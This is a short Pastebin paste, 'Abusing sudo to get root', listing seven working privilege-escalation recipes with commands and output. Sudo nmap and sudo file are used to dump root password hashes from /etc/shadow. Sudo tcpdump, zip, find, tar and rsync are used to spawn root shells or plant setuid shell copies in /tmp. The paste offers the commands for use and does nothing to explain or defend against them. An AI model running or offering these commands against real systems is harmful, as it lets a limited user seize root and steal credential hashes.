aekaek

Abusing sudo to get root

Jan 14th, 2018
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.61 KB | None | 0 0
  1. 1. SUDO NMAP
  2. user@host:~$ sudo nmap -iL /etc/shadow 2>&1 | grep root
  3. Failed to resolve "root:$6$tacLae7v$blr1A8KS2WwHTLgttagiFMgGa94JEkKXVNXAm8a5Lg5vJrdowQTiycwML9M2ibBF6Vu4KZAHcOgOLuqrc6kdn0:16135:0:99999:7:::".
  4.  
  5.  
  6.  
  7. 2. SUDO FILE
  8. user@host:~$ sudo file -m /etc/shadow
  9. /etc/shadow, 1: Warning: offset `root:$6$5EZeAFXG$V.b3POklvJLNMt0cIEIQecW2Co6cKFUXmDR5bHVjWdsgTJq8URt6m7zBfNFNxdMEZHD7F4esGON.OED88HBPn1:16491:0:99999:7:::' invalid
  10. [... snip ...]
  11.  
  12.  
  13. 3. SUDO TCPDUMP
  14. user@host:~$ echo -e "cp /bin/sh /tmp/sh_suid\nchmod 7555 /tmp/sh_suid" > tmpfile
  15. user@host:~$ chmod +x tmpfile
  16. user@host:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
  17. tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
  18. Maximum file limit reached: 1
  19. user@host:~$ ls -l /tmp/sh_suid
  20. -r-sr-sr-t 1 root root 117176 May 19 10:14 /tmp/sh_suid
  21. user@host:~$ /tmp/sh_suid
  22. # whoami
  23. root
  24.  
  25.  
  26. 4. SUDO ZIP
  27. user@host:~$ touch somefile
  28. user@host:~$ sudo zip -q /tmp/test.zip somefile -T -TT '/bin/sh #'
  29. # id
  30. uid=0(root) gid=0(root) groups=0(root)
  31.  
  32.  
  33.  
  34. 5. SUDO FIND
  35. user@host:~$ sudo find /dev/null -exec sh \;
  36. # id
  37. uid=0(root) gid=0(root) groups=0(root)
  38.  
  39.  
  40.  
  41. 6. SUDO TAR
  42. user@host:~$ touch somefile
  43. user@host:~$ sudo tar cf /dev/null somefile --checkpoint=1 --checkpoint-action=exec=/bin/sh
  44. # id
  45. uid=0(root) gid=0(root) groups=0(root)
  46.  
  47.  
  48.  
  49. 7. SUDO RSYNC
  50. user@host:/tmp$ cat > somefile << EOF
  51. > cp /bin/sh /tmp/sh_root
  52. > chmod a+sx /tmp/sh_root
  53. > EOF
  54. user@host:/tmp$ sudo rsync -e 'sh /tmp/somefile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
  55. user@host:/tmp$ /tmp/sh_root
  56. # whoami
  57. root
Add Comment
Please, Sign In to add comment